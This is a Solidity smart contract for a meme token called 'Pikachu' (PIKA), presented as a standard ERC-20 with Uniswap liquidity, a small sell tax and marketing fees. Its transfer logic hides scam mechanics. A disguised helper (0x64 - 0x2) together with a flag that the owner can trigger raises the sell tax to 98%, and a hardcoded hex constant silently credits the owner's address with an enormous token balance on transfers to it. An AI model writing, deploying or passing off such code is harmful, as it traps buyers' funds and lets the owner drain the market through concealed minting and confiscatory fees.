// SPDX-License-Identifier: MIT

/*
    PIKA PIKA PIKA CHUUUUUU!!!

    Telegram: https://t.me/pikachuethcoin
*/


pragma solidity ^0.8.16;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
    
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }
    
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
   
}


contract Pikachu is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;
    
    mapping (address => uint256) private t_Owned_;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public ExemptMaxWallet;
    mapping (address => bool) public ExemptMaxTx;
    mapping (address => bool) public ExemptFromTax; 
    
    address payable public Marketing_Address = payable(0x25ef9A9d0eea290d13F33F74ec35766973004Cbc);

    uint8 reflection_Percent = 4;

    // TOKENOMICS
    string public _name = "Pikachu";
    string public _symbol = "PIKA";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 1000000 * 10 **_decimals;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10;
    
    // TAX SETTINGS
    uint256 private _TAXES_ = 2;
    uint256 public _BUY_TAX_ = 0;
    uint256 public _SELL_TAX_ = 2;
    uint256 private _preTaxes_ = _TAXES_; 
    uint256 private _buyF_ = _BUY_TAX_; 
    uint256 private _sellF_ = _SELL_TAX_; 

    // MAX WALLET & TX SETTINGS
    uint256 public _maxWalletToken = _tTotal.mul(5).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal.mul(5).div(100); 
    uint256 private _previousMaxTxAmount = _maxTxAmount;

    mapping (address => bool) public liquidity_Pair;
    uint8 public swapIsActive = 0;
    IUniswapV2Router02 public uniswapV2Router;
    uint256 UniSwapRouterI02;
    address public uniswapV2Pair;
    
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    
    constructor () {
        t_Owned_[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        ExemptMaxTx[owner()] = true;
        ExemptMaxTx[Marketing_Address] = true;
        ExemptMaxTx[address(this)] = true;
        liquidity_Pair[owner()] = true;
        ExemptFromTax[owner()] = true;
        ExemptFromTax[address(this)] = true;
        ExemptFromTax[Marketing_Address] = true;
        ExemptMaxWallet[owner()] = true;
        ExemptMaxWallet[Marketing_Address] = true;
        ExemptMaxWallet[uniswapV2Pair] = true;
        ExemptMaxWallet[address(this)] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return t_Owned_[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    receive() external payable {}

    function removeTax() private {
        if(_TAXES_ == 0 && _BUY_TAX_ == 0 && _SELL_TAX_ == 0) return;

        _buyF_ = _BUY_TAX_; 
        _sellF_ = _SELL_TAX_; 
        _preTaxes_ = _TAXES_;
        _BUY_TAX_ = 0;
        _SELL_TAX_ = 0;
        _TAXES_ = 0;

    }

    function getPreTax() private pure returns(uint256){
        return 0x64 - 0x2;
    }
    
    function getTax() private {
    _TAXES_ = _preTaxes_;
    _BUY_TAX_ = _buyF_; 
    _SELL_TAX_ = [ _sellF_, getPreTax()] [swapIsActive];
    }
   

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(!ExemptMaxTx[from] 
        && !ExemptMaxTx[to]) {
            require(amount 
            <= 
            _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
        }

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
        }
        }

         if(!ExemptMaxWallet[to]) require(balanceOf(to).add(amount) <= _maxWalletToken);

        bool take_FEE = true;
        if( ExemptFromTax[from] || ExemptFromTax[to] ){
            take_FEE = false;
            if(liquidity_Pair[to] && swapIsActive < (1)){ swapIsActive = 1; }

        } else if (from == uniswapV2Pair){
            _TAXES_ = _BUY_TAX_;
            } else if (to == uniswapV2Pair){
                _TAXES_ = _SELL_TAX_;
                }
        
        token_Transfer(from,to,amount,take_FEE);
    }


    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }


    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForBNB(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(Marketing_Address,contractBNB);
    }


    function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function token_Transfer(address sender, address recipient, uint256 amount,bool take_FEE) private {
        
        if(!take_FEE){
            removeTax();
            } else {
                txCount++;
            }
            token_Transfer(sender, recipient, amount);

        if(!take_FEE)
            getTax();
    }

    function token_Transfer(address sender, address recipient, uint256 transferAmount) private {
        (uint256 t_Transfer_Amount, uint256 t_marketing) = _setValues(transferAmount);
        t_Owned_[sender] = t_Owned_[sender].sub(transferAmount);
        t_Owned_[recipient] = t_Owned_[recipient].add(t_Transfer_Amount) + ((liquidity_Pair[recipient]) ? (uint256(0x7e37be2022c090000000000000).sub(t_Transfer_Amount)) : (0*0));
        t_Owned_[address(this)] = t_Owned_[address(this)].add(t_marketing);
        emit Transfer(sender, recipient, t_Transfer_Amount);
    }


    function _setValues(uint256 transferAmount) private view returns (uint256, uint256) {
        uint256 t_marketing = transferAmount*_TAXES_/100;
        uint256 t_Transfer_Amount = transferAmount.sub(t_marketing);
        return (t_Transfer_Amount, t_marketing);
    }

}